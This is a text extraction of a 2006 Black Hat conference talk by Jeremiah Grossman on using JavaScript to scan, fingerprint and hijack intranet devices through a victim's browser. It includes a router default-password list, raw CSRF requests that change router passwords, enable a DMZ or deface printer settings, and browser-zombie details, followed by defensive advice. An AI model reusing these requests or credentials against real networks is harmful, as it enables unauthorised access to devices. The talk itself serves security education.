Hacking Intranet Websites from the Outside

"JavaScript malware just got a lot more dangerous"

Black Hat (Japan)
10.05.2006

Jeremiah Grossman (Founder and CTO)
WhiteHat Sentinel - Continuous Vulnerability Assessment and Management Service for Websites.

Jeremiah Grossman (Founder and CTO)

- Technology R&D and industry evangelist
- Co-founder of the Web Application Security Consortium (WASC)
- Former Yahoo Information Security Officer
Assumptions of Intranet Security

Doing any of the following on the internet would be unacceptable, but on intranet...

- Leaving hosts unpatched
- Using default passwords
- Not putting a firewall in front of a host

Is OK because the perimeter firewalls block external access to internal devices.
Assumptions of Intranet Security

WRONG!
Everything is web-enabled

routers, firewalls, printers, payroll systems, employee directories, bug tracking systems, development machines, web mail, wikis, IP phones, web cams, host management, etc etc.
Intranet users have access

To access intranet websites, control a user (or the browser) which is on the inside.
Hacking the Intranet

JavaScript Malware

Gets behind the firewall to attack the intranet.

Operating system and browser independent

Special thanks to...

RSnake
http://ha.ckers.org/
The following examples DO NOT use any well-known or un-patched web browser vulnerabilities. The code uses clever and sophisticated JavaScript, Cascading Style-Sheet (CSS), and Java Applet programming. Technology that is common to all popular web browsers. Example code is developed for Firefox 1.5, but the techniques should also apply to Internet Explorer.
Contracting JavaScript Malware

1. Website owner embedded JavaScript malware.

2. Web page defaced with embedded JavaScript malware.

3. JavaScript Malware injected into a public area of a website. (persistent XSS)

4. Clicked on a specially-crafted link causing the website to echo JavaScript Malware. (non-persistent XSS)
Stealing Browser History

JavaScript can make links and has access to CSS APIs

See the difference?

 Been here, but not here.
Cycle
through the
most popular
websites

<table>
<thead>
<tr>
<th>History</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>not visited</td>
<td><a href="http://login.yahoo.com/">http://login.yahoo.com/</a></td>
</tr>
<tr>
<td>visited</td>
<td><a href="http://mail.google.com/">http://mail.google.com/</a></td>
</tr>
<tr>
<td>visited</td>
<td><a href="http://mail.yahoo.com/">http://mail.yahoo.com/</a></td>
</tr>
<tr>
<td>visited</td>
<td><a href="http://my.yahoo.com/">http://my.yahoo.com/</a></td>
</tr>
<tr>
<td>visited</td>
<td><a href="http://slashdot.org/">http://slashdot.org/</a></td>
</tr>
<tr>
<td>not visited</td>
<td><a href="http://www.amazon.com/">http://www.amazon.com/</a></td>
</tr>
<tr>
<td>not visited</td>
<td><a href="http://www.aol.com/">http://www.aol.com/</a></td>
</tr>
<tr>
<td>not visited</td>
<td><a href="http://www.bankofamerica.com/">http://www.bankofamerica.com/</a></td>
</tr>
<tr>
<td>not visited</td>
<td><a href="http://www.bankone.com/">http://www.bankone.com/</a></td>
</tr>
<tr>
<td>visited</td>
<td><a href="http://www.blackhat.com/">http://www.blackhat.com/</a></td>
</tr>
<tr>
<td>not visited</td>
<td><a href="http://www.blogger.com/">http://www.blogger.com/</a></td>
</tr>
<tr>
<td>visited</td>
<td><a href="http://www.bofa.com/">http://www.bofa.com/</a></td>
</tr>
<tr>
<td>not visited</td>
<td><a href="http://www.capitalone.com/">http://www.capitalone.com/</a></td>
</tr>
<tr>
<td>not visited</td>
<td><a href="http://www.chase.com/">http://www.chase.com/</a></td>
</tr>
<tr>
<td>not visited</td>
<td><a href="http://www.citibank.com/">http://www.citibank.com/</a></td>
</tr>
<tr>
<td>not visited</td>
<td><a href="http://www.cnn.com/">http://www.cnn.com/</a></td>
</tr>
<tr>
<td>not visited</td>
<td><a href="http://www.comerica.com/">http://www.comerica.com/</a></td>
</tr>
<tr>
<td>not visited</td>
<td><a href="http://www.e-gold.com/">http://www.e-gold.com/</a></td>
</tr>
</tbody>
</table>
NAT'ed IP Address

IP Address Java Applet
This applet demonstrates that any server you visit can find out your real IP address if you enable Java, even if you're behind a firewall or use a proxy.
Lars Kindermann
http://reglos.de/myaddress/

Send internal IP address where JavaScript can access it

<APPLET CODE="MyAddress.class">
<PARAM NAME="URL" VALUE="demo.html?IP=">
</APPLET>

If we can get the internal subnet great, if not, we can still guess for port scanning...
We can send HTTP requests to anywhere, but we can't access the response (same-origin policy). So how do we know if a connection is made?

<SCRIPT SRC="http://192.168.1.100/"/></SCRIPT>

If a web server is listening on 192.168.1.100, HTML will be returned causing the JS interpreter to error.

Capture the error!
Internal Web Server Scan

| connected | http://... | .5/ |
| connected | http://... | .13/ |
| connected | http://... | .15/ |
| connected | http://... | .25/ |
| connected | http://... | .26/ |
| connected | http://... | .36/ |
| connected | http://... | .41/ |
| connected | http://... | .52/ |
| connected | http://... | .119/ |
| connected | http://... | .200/ |
| connected | http://... | .254/ |

Error: XML tag name mismatch
Source File: http://... .5/ Line:8
</head>

Error: syntax error
Source File: http://... .13/ Line:1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

Error: syntax error
Source File: http://... .15/ Line:3
<!DOCTYPE html

Error: syntax error
Source File: http://... .25/ Line:1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

Error: XML tag name mismatch
Source File: http://... .26/ Line:8
</head>
There is a web server listening, but can't see the response, what is it?

Many web platforms have URL’s to images that are unique.

Apache Web Server
/icons/apache_pb.gif

HP Printer
/hp/device/hp_invent_logo.gif

PHP Image Easter eggs
/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

Use OnError!

Cycle through unique URL’s using Image DOM objects
<img src="http://192.168.1.100/unique_image_url" onerror="fingerprint()" />

If the onerror event does NOT execute, then it's the associated platform.

Technically, CSS and JavaScript pages can be used for fingerprinting as well.
## Browser Zombies

<table>
<thead>
<tr>
<th>Session</th>
<th>External IP</th>
<th>Internal IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>8898</td>
<td>209.11.127.13</td>
<td>192.168.201.204</td>
</tr>
</tbody>
</table>

**Command**
- Re-direct

**User-Agent**
Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13

**Screen**
1280x854 - Pixel: 32 - Color: 32

**Keystrokes**

**Time**
Tue Jun 27 09:14:29 2006

**History**
- [http://mail.google.com/](http://mail.google.com/)
- [http://slashdot.org/](http://slashdot.org/)
- [http://www.yahoo.com/](http://www.yahoo.com/)

**Internal Web Servers**
- [http://192.168.201.5/](http://192.168.201.5/)
- [http://192.168.201.15/](http://192.168.201.15/)
- [http://192.168.201.41/](http://192.168.201.41/)
- [http://192.168.201.36/](http://192.168.201.36/)
- [http://192.168.201.52/](http://192.168.201.52/)
- [http://192.168.201.43/](http://192.168.201.43/)
- [http://192.168.201.52/](http://192.168.201.52/)
DSL Wireless/Router Hacking

Login, if not already authenticated

http://admin:password@192.168.1.1/

Factory defaults are handy!

D-Link
- DI-514 admin (blank)
- DI-524 admin (blank)
- DI-814+ admin (blank)
- DI-824 admin (blank)
- DI-824+ admin (blank)
- DI-714 admin (blank)
- DI-724P+ admin (blank)
- DI-784 admin (blank)
- DWL-2100AP admin (blank)
- DWL-G700AP admin (blank)

Dell
- TrueMobile 2300 admin admin

Gateway
- WGR-200 admin admin
- WGR-250 admin admin

Linksys
- BEFW11S4 (blank) admin
- WAP11 (blank) admin
- WAP54G (blank) admin
- WRK54G (blank) admin
- WRT54G (blank) admin
- WRT54GS (blank) admin
- WRT55AG (blank) admin
- WRV54G (blank) admin

Microsoft
- MN-500 (blank) admin

Copyright © 2006 WhiteHat Security, Inc. All Rights Reserved.
Change the password

```
POST /password.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://192.168.1.1/PWD_password.htm
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/x-www-form-urlencoded
Content-Length: 87

sysOldPasswd=password&sysNewPasswd=newpass&sysConfirmPassword=newpass&cfAlert_Apply=Apply
```
DMZ HACKING

POST to GET

/post/security.cgi?
dod=dod&dmz_enable=dmz_enable&dmzip1=192&dmzip2=168&dmzip3=1&dmzip4=9&wan_mtu=1500&apply=Apply&wan_way=1500
Network Printer Hacking

POST to GET

/hp/device/set_config_deviceInfo.html?DeviceDescription=OWNED!&AssetNumber=&CompanyName=&ContactPerson=&Apply=Apply
Network Printer Hacking

Auto-Fire Printer Test Pages

POST to GET /hp/device/info_specialPages.html?Demo=Print
More Dirty Tricks

- Black hat search engine optimization (SEO)
- Click-fraud
- Distributed Denial of Service
- Force access of illegal content
- Hack other websites (IDS sirens)
- Distributed email spam (Outlook Web Access)
- Distributed blog spam
- Vote tampering
- De-Anonymize people
- Etc.

Once the browser closes there is little trace of the exploit code.
Anybody can be a victim on any website.

Trusted websites are hosting malware.

Cross-Site Scripting (XSS) and Cross-Site Request Forgery vulnerabilities amplify the problem.
XSS Everywhere

Attacks the user of a website, not the website itself. The most common vulnerability.

SecurityFocus cataloged over 1,400 issues.

WhiteHat Security has identified over 1,500 in custom web applications. 8 in 10 websites have XSS.

Tops the Web Hacking Incident Database (WHID)

http://www.webappsec.org/projects/whid/
Exploited on popular websites

Exploitation Leads to website defacement, session hijacking, user impersonation, worms, phishing scams, browser trojans, and more...
A cross-site request forgery (CSRF or XSRF), although similar-sounding in name to cross-site scripting (XSS), is a very different and almost opposite form of attack. Whereas cross-site scripting exploits the trust a user has in a website, a cross-site request forgery exploits the trust a website has in a user by forging the enactor and making a request appear to come from a trusted user.

Wikipedia
http://en.wikipedia.org/wiki/Cross-site_request_forgey

No statistics, but the general consensus is just about every piece of sensitive website functionality is vulnerable.
CSRF HACK EXAMPLES

A story that diggs itself

Users logged-in to digg.com visiting http://4diggers.blogspot.com/ will automatically digg the story

http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/

Compromising your GMail contact list

Contact list available in JavaScript space. <script src=http://mail.google.com/mail/?_url_scrubbed>

**Worms**

**MySpace (Samy Worm) - first XSS worm**

24 hours, 1 million users affected

- Logged-in user views Samy's profile page, embedded JavaScript malware.
- Malware ads Samy as their friend, updates their profile with “Samy is my hero”, and copies the malware to their profile.
- People visiting infected profiles are in turn infected causing exponential growth.

http://namb.la/popular/tech.html

**Yahoo Mail (JS-Yamanner)**

- User receives a email w/ an attachment embedded with JavaScript malware.
- User opens the attachment and malware harvesting @yahoo.com and @yahoogroups.com addresses from contact list.
- User is re-directed to another web page.

http://ha.ckers.org/blog/20060612/yahoo-xss-worm/

---

**CROSS-SITE SCRIPTING WORMS AND VIRUSES**

“The Impending Threat and the Best Defense”

How to protect yourself

Or at least try
Not going to work

Useful for other threats, but not against JavaScript malware.

- Patching and anti-virus
- Corporate Web Surfing Filters
- Security Sockets Layer (SSL)
- Two Factor Authentication
- Stay away from questionable websites
Be suspicious of long links, especially those that look like they contain HTML code. When in doubt, type the domain name manually into your browser location bar.

No web browser has a clear security advantage, but we prefer Firefox. For additional security, install browser add-ons such as NoScript (Firefox extension) or the Netcraft Toolbar.

When in doubt, disable JavaScript, Java, and Active X prior to your visit.
Mozilla (Firefox), Microsoft and Opera development teams must begin formalizing and implementing Content-Restrictions.

Sites would define and serve content restrictions for pages which contained untrusted content which they had filtered. If the filtering failed, the content restrictions may still prevent malicious script from executing or doing damage.

Gervase Markham
http://www.gerv.net/security/content-restrictions/

Mozilla (Firefox) developers, please implement httpOnly. It’s been around for years!
Fixing XSS and CSRF

Preventing websites from hosting JavaScript Malware

- **Rock solid Input Validation.** This includes URL's, query strings, headers, post data, etc.

  ```
  $data =~ s/(<|>|"|'|(|\)|:)/'&#'.ord($1).';'/sge;
  or
  $data =~ s/([^w])/'&#'.ord($1).';'/sge;
  ```

- **Protect sensitive functionality from CSRF attack.** Implement session tokens, CAPTCHAs and HTTP Referer checking.
Find your vulnerabilities before the bad guys do. Comprehensive assessments combining automated vulnerability scanning and expert-driven analysis.

When absolutely nothing can go wrong with your website, consider a web application firewall (WAF). Defense-in-Depth (mod_security, URL Scan, SecureIIS).

Harden the intranet websites. They are no longer out of reach. Patch and change default password.
Recommended Reading

![Hacking Exposed: Web Applications Exposed](image1)

![Hacker's Challenge 3](image2)

![Preventing Web Attacks with Apache](image3)
THANK YOU!

JEREMIAH GROSSMAN
Founder and Chief Technology Officer
jeremiah@whitehatsec.com

For more information about WhiteHat Security, please call 408.492.1817 or visit our website, www.whitehatsec.com